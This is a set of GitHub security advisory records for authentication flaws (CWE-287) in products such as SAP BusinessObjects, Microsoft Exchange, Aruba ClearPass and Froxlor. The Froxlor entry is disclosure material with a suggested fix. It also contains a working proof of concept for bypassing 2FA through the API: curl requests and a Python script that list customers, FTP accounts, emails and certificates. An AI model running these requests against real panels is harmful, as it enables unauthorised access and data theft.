CWE-287

{
  "affected": [],
  "aliases": [
    "CVE-2022-41263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to a missing authentication check, SAP Business Objects Business Intelligence Platform (Web Intelligence) - versions 420, 430, allows an authenticated non-administrator attacker to modify the data source information for a document that is otherwise restricted. On successful exploitation, the attacker can modify information causing a limited impact on the integrity of the application.",
  "id": "GHSA-f92h-c5mh-qv8v",
  "modified": "2022-12-15T18:30:25Z",
  "published": "2022-12-13T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41263"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3249648"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-30560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-13T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The configuration from the PCU can be modified without authentication using physical connection to the PCU. \n\n\n\n\n\n\n\n",
  "id": "GHSA-f93h-f4mq-gcfj",
  "modified": "2024-04-04T06:07:36Z",
  "published": "2023-07-13T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30560"
    },
    {
      "type": "WEB",
      "url": "https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/bd-alaris-system-with-guardrails-suite-mx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-21450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T13:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "Cryptographic issue occurs due to use of insecure connection method while downloading.",
  "id": "GHSA-f96p-7qr6-2qh9",
  "modified": "2025-07-08T15:32:02Z",
  "published": "2025-07-08T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21450"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/july-2025-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Exchange Information Disclosure Vulnerability",
  "id": "GHSA-f9f4-96j3-5mvr",
  "modified": "2025-10-22T00:32:18Z",
  "published": "2022-05-24T19:07:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33766"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33766"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-33766"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-798"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-27T10:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "This vulnerability exists in GajShield Data Security Firewall firmware versions prior to v4.28 (except v4.21) due to insecure default credentials which allows remote attacker to login as superuser by using default username/password via web-based management interface and/or exposed SSH port thereby enabling remote attackers to execute arbitrary commands with administrative/superuser privileges on the targeted systems.\n\nThe vulnerability has been addressed by forcing the user to change their default password to a new non-default password.\n",
  "id": "GHSA-f9gp-vxr4-29wq",
  "modified": "2024-04-04T03:42:42Z",
  "published": "2023-04-27T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1778"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2023-0119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-3912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "Bypassing password security vulnerability in McAfee Application and Change Control (MACC) 7.0.1 and 6.2.0 allows authenticated users to perform arbitrary command execution via a command-line utility.",
  "id": "GHSA-f9jm-979c-8px2",
  "modified": "2022-05-13T01:36:41Z",
  "published": "2022-05-13T01:36:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3912"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10224"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102988"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-9045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-02-04T18:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The FTP backend in user_external in ownCloud Server before 5.0.18 and 6.x before 6.0.6 allows remote attackers to bypass intended authentication requirements via a crafted password.",
  "id": "GHSA-f9m9-635m-g7gh",
  "modified": "2022-05-17T04:16:30Z",
  "published": "2022-05-17T04:16:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9045"
    },
    {
      "type": "WEB",
      "url": "https://owncloud.org/security/advisory/?id=oc-sa-2014-022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-4068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-01T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The check_password function in html/admin/login.php in PacketFence before 3.0.2 allows remote attackers to bypass authentication via an empty password.",
  "id": "GHSA-f9q6-6w4m-g923",
  "modified": "2022-05-14T03:44:10Z",
  "published": "2022-05-14T03:44:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4068"
    },
    {
      "type": "WEB",
      "url": "https://packetfence.org/bugs/changelog_page.php?version_id=35"
    },
    {
      "type": "WEB",
      "url": "https://packetfence.org/bugs/view.php?id=1293"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-37736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-15T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote authentication bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): ClearPass Policy Manager 6.10.x prior to 6.10.2 - - ClearPass Policy Manager 6.9.x prior to 6.9.7-HF1 - - ClearPass Policy Manager 6.8.x prior to 6.8.9-HF1. Aruba has released patches for ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-f9qm-247w-v472",
  "modified": "2022-07-13T00:01:34Z",
  "published": "2022-05-24T19:17:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37736"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-018.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:41:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFroxlor\u0027s API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret \u2014 no TOTP challenge is issued, checked, or required.\n\nAn attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.\n\n## Affected Code\n\n**Web UI \u2014 2FA enforced** (`index.php:82-149`):\n\n```php\nif ($result[\u0027type_2fa\u0027] != 0) {\n    // Redirects to 2FA input page\n    // Calls FroxlorTwoFactorAuth::verifyCode()\n    // Login is NOT completed without valid TOTP code\n}\n```\n\n**API \u2014 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`):\n\n```php\nprivate static function validateAuth(string $key, string $secret): bool\n{\n    $sel_stmt = Database::prepare(\"\n        SELECT ak.*, a.api_allowed as admin_api_allowed,\n               c.api_allowed as cust_api_allowed, c.deactivated\n        FROM `api_keys` ak\n        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid\n        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid\n        WHERE `apikey` = :ak AND `secret` = :as\n    \");\n    $result = Database::pexecute_first($sel_stmt, [\u0027ak\u0027 =\u003e $key, \u0027as\u0027 =\u003e $secret]);\n    if ($result) {\n        if ($result[\u0027apikey\u0027] == $key \u0026\u0026 $result[\u0027secret\u0027] == $secret\n            \u0026\u0026 ($result[\u0027valid_until\u0027] == -1 || $result[\u0027valid_until\u0027] \u003e= time())\n            \u0026\u0026 (($result[\u0027customerid\u0027] == 0 \u0026\u0026 $result[\u0027admin_api_allowed\u0027] == 1)\n                || ($result[\u0027customerid\u0027] \u003e 0 \u0026\u0026 $result[\u0027cust_api_allowed\u0027] == 1\n                    \u0026\u0026 $result[\u0027deactivated\u0027] == 0))) {\n            // Checks: key match, secret match, not expired, API allowed, not deactivated\n            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status\n            return true;\n        }\n    }\n    throw new Exception(\u0027Invalid authorization credentials\u0027, 403);\n}\n```\n\nThere are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory:\n\n```bash\n$ grep -rn \u00272fa\\|totp\\|two.factor\\|FroxlorTwoFactor\u0027 lib/Froxlor/Api/\n# (no output)\n```\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- API enabled (`api.enabled=1`)\n- Admin account has 2FA enabled (`type_2fa=1`, TOTP configured)\n- Admin has an API key\n\n### Step 1: Confirm 2FA blocks web UI login\n\n```\nPOST /index.php HTTP/1.1\nHost: panel.example.com\nContent-Type: application/x-www-form-urlencoded\n\nloginname=admin\u0026password=Admin123!@#\u0026csrf_token=TOKEN\u0026send=send\n```\n\n**Result:** Redirect to `index.php?showmessage=4` \u2014 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.\n\n### Step 2: Authenticate via API \u2014 no TOTP required\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"command\":\"Customers.listing\",\"params\":{}}\u0027 \\\n  https://panel.example.com/api.php\n```\n\n**Result:** HTTP 200 with full customer listing:\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"loginname\": \"testcust\",\n        \"email\": \"test@froxlor.lab\",\n        \"name\": \"Test\",\n        \"firstname\": \"Customer\"\n      }\n    ]\n  }\n}\n```\n\nNo TOTP code was provided. No 2FA prompt was returned. Full access granted.\n\n### Step 3: Access additional sensitive resources\n\nAll of these succeed without any 2FA challenge:\n\n```bash\n# Domains\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Domains.listing\"}\u0027 .../api.php\n# FTP accounts (home directories, credentials)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Ftps.listing\"}\u0027 .../api.php\n# Email accounts\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Emails.listing\"}\u0027 .../api.php\n# MySQL databases\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Mysqls.listing\"}\u0027 .../api.php\n# SSL certificates (private keys)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Certificates.listing\"}\u0027 .../api.php\n# DNS records\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"DomainZones.listing\",\"params\":{\"domainname\":\"example.com\"}}\u0027 .../api.php\n```\n\n165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.).\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor \u003c= 2.3.x \u2014 2FA Bypass via API (CWE-287)\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ntarget, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]\n\nr = requests.post(f\"{target}/api.php\", auth=(key, secret),\n    json={\"command\": \"Customers.listing\", \"params\": {}}, verify=False)\ndata = r.json()\n\nprint(f\"HTTP {r.status_code}\")\nif \"data\" in data:\n    for c in data[\"data\"].get(\"list\", []):\n        print(f\"  {c[\u0027loginname\u0027]} | {c[\u0027email\u0027]}\")\n    print(f\"\\n2FA-protected account accessed without TOTP. {len(data[\u0027data\u0027].get(\u0027list\u0027,[]))} customers exposed.\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET`\n\n## Impact\n\nWhen a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:\n\n- **Customer data**: PII (name, email, address) readable and modifiable\n- **Domains**: Full control over domains, subdomains, DNS records\n- **Email accounts**: Create, read, delete email accounts and forwarders\n- **FTP accounts**: Access home directory paths and credentials\n- **MySQL databases**: Full database management\n- **SSL certificates**: Read private keys, modify certificate bindings\n- **165 API functions**: Including all write operations\n\nAPI keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.\n\n### Comparison with CVE-2023-3173\n\nCVE-2023-3173 (\"2FA Bypass by Brute Force\") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different \u2014 the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.\n\n## Suggested Fix\n\nAdd 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter:\n\n```php\n// lib/Froxlor/Api/FroxlorRPC.php, after line 100:\n// Check 2FA if enabled for this user\nif (!empty($result[\u0027adminid\u0027])) {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id\"),\n        [\u0027id\u0027 =\u003e $result[\u0027adminid\u0027]]\n    );\n} else {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id\"),\n        [\u0027id\u0027 =\u003e $result[\u0027customerid\u0027]]\n    );\n}\nif ($user \u0026\u0026 $user[\u0027type_2fa\u0027] != 0) {\n    // Require X-2FA-Code header or \u0027totp_code\u0027 in request body\n    $totp_code = $_SERVER[\u0027HTTP_X_2FA_CODE\u0027] ?? null;\n    if (empty($totp_code)) {\n        throw new Exception(\u00272FA code required\u0027, 401);\n    }\n    $tfa = new FroxlorTwoFactorAuth($user[\u0027data_2fa\u0027]);\n    if (!$tfa-\u003everifyCode($totp_code)) {\n        throw new Exception(\u0027Invalid 2FA code\u0027, 403);\n    }\n}\n```\n\nAlternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.",
  "id": "GHSA-f9rx-7wf7-jr36",
  "modified": "2026-06-09T13:07:18Z",
  "published": "2026-06-03T21:41:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-f9rx-7wf7-jr36"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-34qg-65m4-f23m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor\u0027s API Authentication bypasses 2FA Authentication"
}